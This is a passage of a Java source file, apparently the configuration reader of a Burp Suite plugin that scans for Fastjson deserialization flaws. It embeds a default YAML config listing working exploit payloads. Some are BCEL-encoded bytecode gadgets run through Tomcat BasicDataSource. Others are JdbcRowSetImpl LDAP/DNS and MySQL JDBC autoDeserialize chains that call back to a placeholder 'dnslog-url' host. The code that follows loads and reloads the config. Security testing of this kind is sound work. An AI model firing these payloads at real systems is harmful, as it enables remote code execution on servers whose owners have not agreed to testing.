$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A\\\"}}:\\\"x\\\"}\"\n" +
259 | " - \"{{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"x\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A\\\"}}:\\\"x\\\"}\"\n" +
260 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\"},\\\"x\\\":{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"y\\\":{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"c\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A\\\",\\\"$ref\\\":\\\"$.x.y.c.connection\\\"}}}}\"\n" +
261 | " # 远程命令扩展\n" +
262 | " remoteCmdExtension:\n" +
263 | " config:\n" +
264 | " # 插件启动项\n" +
265 | " isStart: true\n" +
266 | " # 提供商\n" +
267 | " provider: \"RemoteCmdScan\"\n" +
268 | " payloads:\n" +
269 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" +
270 | " - \"{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url\\\", \\\"autoCommit\\\":true}\"\n" +
271 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"x\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url/miao1\\\",\\\"autocommit\\\":true}}\"\n" +
272 | " - \"{\\\"name\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"x\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"dns://dnslog-url/miao1\\\",\\\"autocommit\\\":true}}\"\n" +
273 | " - \"{\\\"dataSourceName\\\":\\\"ldap://dnslog-url\\\",\\\"autoCommit\\\":true}\"\n" +
274 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.jdbc.JDBC4Connection\\\",\\\"hostToConnectTo\\\":\\\"dnslog-url\\\",\\\"portToConnectTo\\\":33306,\\\"info\\\":{\\\"user\\\":\\\"demo\\\",\\\"password\\\":\\\"12345\\\",\\\"maxAllowedPacket\\\":\\\"655360\\\",\\\"statementInterceptors\\\":\\\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\\\",\\\"autoDeserialize\\\":\\\"true\\\",\\\"NUM_HOSTS\\\":\\\"1\\\"},\\\"databaseToConnectTo\\\":\\\"dbname\\\",\\\"url\\\":\\\"dnslog-url\\\"}\"\n" +
275 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\\\",\\\"proxy\\\":{\\\"connectionString\\\":{\\\"url\\\":\\\"jdbc:mysql://dnslog-url:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=user\\\"}}}\"\n" +
276 | " - \"{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\\\",\\\"proxy\\\":{\\\"@type\\\":\\\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\\\",\\\"connectionUrl\\\":{\\\"@type\\\":\\\"com.mysql.cj.conf.url.ReplicationConnectionUrl\\\",\\\"masters\\\":[{\\\"host\\\":\\\"dnslog-url\\\"}],\\\"slaves\\\":[],\\\"properties\\\":{\\\"host\\\":\\\"dnslog-url\\\",\\\"user\\\":\\\"user\\\",\\\"dbname\\\":\\\"dbname\\\",\\\"password\\\":\\\"pass\\\",\\\"queryInterceptors\\\":\\\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\\\",\\\"autoDeserialize\\\":\\\"true\\\",\\\"allowLoadLocalInfile\\\":\\\"true\\\"}}}}\"\n" +
277 | "\n" +
278 | "# dnsLog模块\n" +
279 | "dnsLogModule:\n" +
280 | " # 提供商\n" +
281 | " # 声明使用 dnslogs.impl 的哪个类,为该扩展提供服务\n" +
282 | " # 目前集成方法:\n" +
283 | " # DnsLogCn = http://dnslog.cn的接口\n" +
284 | " # BurpDnsLog = burp自带的dnslog接口\n" +
285 | " # CeyeDnslog = http://ceye.io的接口\n" +
286 | " # EyesDnslog = https://eyes.sh的接口\n" +
287 | "\n" +
288 | " # provider 填入上述任意平台名称即可\n" +
289 | " provider: \"BurpDnsLog\"\n" +
290 | " CeyeDnslog:\n" +
291 | " token: \"\"\n" +
292 | " Identifier: \"\"\n" +
293 | " EyesDnslog:\n" +
294 | " token: \"\"\n" +
295 | " Identifier: \"\"";
296 | private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException {
297 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator);
298 | String path = "";
299 | CreateConfig(callbacks);
300 | path = callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml";
301 | File f = new File(path);
302 | this.configPath = f.toPath();
303 | properties = new Yaml().load(new FileInputStream(f));
304 | // reloadConfig(callbacks);
305 | }
306 |
307 | public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) {
308 | if (instance == null) {
309 | try {
310 | instance = new YamlReader(callbacks);
311 | } catch (FileNotFoundException e) {
312 | callbacks.printError(e.toString());
313 | }
314 | }else {
315 | instance.reloadConfig(callbacks);
316 | }
317 | return instance;
318 | }
319 | // 新增:重新加载配置文件方法
320 | public static synchronized void reloadConfig(IBurpExtenderCallbacks callbacks) {
321 | try {
322 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator);
323 | configPath = Paths.get(callbacks.getExtensionFilename().substring(0,lastIndexOf) + File.separator + "resources/config.yml");
324 | File file = configPath.toFile();
325 | if (file.exists()) {
326 | long currentModified = file.lastModified();
327 | if (currentModified > lastModified) {
328 | FileInputStream fis = new FileInputStream(file);
329 | // 显式指定 UTF-8 编码读取
330 | InputStreamReader reader = new InputStreamReader(fis, StandardCharsets.UTF_8);
331 | properties = new Yaml().load(reader);
332 | lastModified = currentModified;
333 | callbacks.printOutput("配置文件已热更新");
334 | }
335 | }
336 | } catch (IOException e) {
337 | callbacks.printError("配置重载失败: " + e.getMessage());
338 | }
339 | }
340 | public void CreateConfig(IBurpExtenderCallbacks callbacks){
341 | int lastIndexOf = callbacks.getExtensionFilename().lastIndexOf(File.separator);
342 | String p = callbacks.getExtensionFilename().substring(0, lastIndexOf);
343 | Path path = Paths.get(p);
344 | Path resourceDir = path.resolve("resources");
345 | PrintWriter printWriter = new PrintWriter(callbacks.getStdout(), true);
346 |
347 | try {
348 | Files.createDirectories(resourceDir);
349 | Path configFile = resourceDir.resolve("config.yml");
350 | if (!Files.exists(configFile)){
351 | Files.write(configFile, CONFIG_CONTENTS.getBytes());
352 | printWriter.println("config.yml文件已生成");
353 |
354 | }else {
355 | printWriter.println("config.yml文件已存在,无需重新生成");
356 | }
357 |
358 | } catch (IOException e) {
359 | new PrintWriter(callbacks.getStderr(), true).println("配置文件生成失败: " + e.getMessage());
360 | }
361 |
362 | }
363 |
364 | /**
365 | * 获取yaml属性
366 | * 可通过 "." 循环调用
367 | * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d")
368 | *
369 | * @param key
370 | * @return
371 | */
372 | public Object getValueByKey(String key) {
373 | String separator = ".";
374 | String[] separatorKeys = null;
375 | if (key.contains(separator)) {
376 | separatorKeys = key.split("\\.");
377 | } else {
378 | return properties.get(key);
379 | }
380 | Map> finalValue = new HashMap<>();
381 | for (int i = 0; i < separatorKeys.length - 1; i++) {
382 | if (i == 0) {
383 | finalValue = (Map) properties.get(separatorKeys[i]);
384 | continue;
385 | }
386 | if (finalValue == null) {
387 | break;
388 | }
389 | finalValue = (Map) finalValue.get(separatorKeys[i]);
390 | }
391 | return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]);
392 | }
393 |
394 | public String getString(String key) {
395 | return String.valueOf(this.getValueByKey(key));
396 | }
397 |
398 | public String getString(String key, String defaultValue) {
399 | if (null == this.getValueByKey(key)) {
400 | return defaultValue;
401 | }
402 | return String.valueOf(this.getValueByKey(key));
403 | }
404 |
405 | public Boolean getBoolean(String key) {
406 | return (boolean) this.getValueByKey(key);
407 | }
408 |
409 | public Integer getInteger(String key) {
410 | return (Integer) this.getValueByKey(key);
411 | }
412 |
413 | public double getDouble(String key) {
414 | return (double) this.getValueByKey(key);
415 | }
416 |
417 | public List getStringList(String key) {
418 | return (List) this.getValueByKey(key);
419 | }
420 |
421 | public LinkedHashMap getLinkedHashMap(String key) {
422 | return (LinkedHashMap) this.getValueByKey(key);
423 | }
424 | }
--------------------------------------------------------------------------------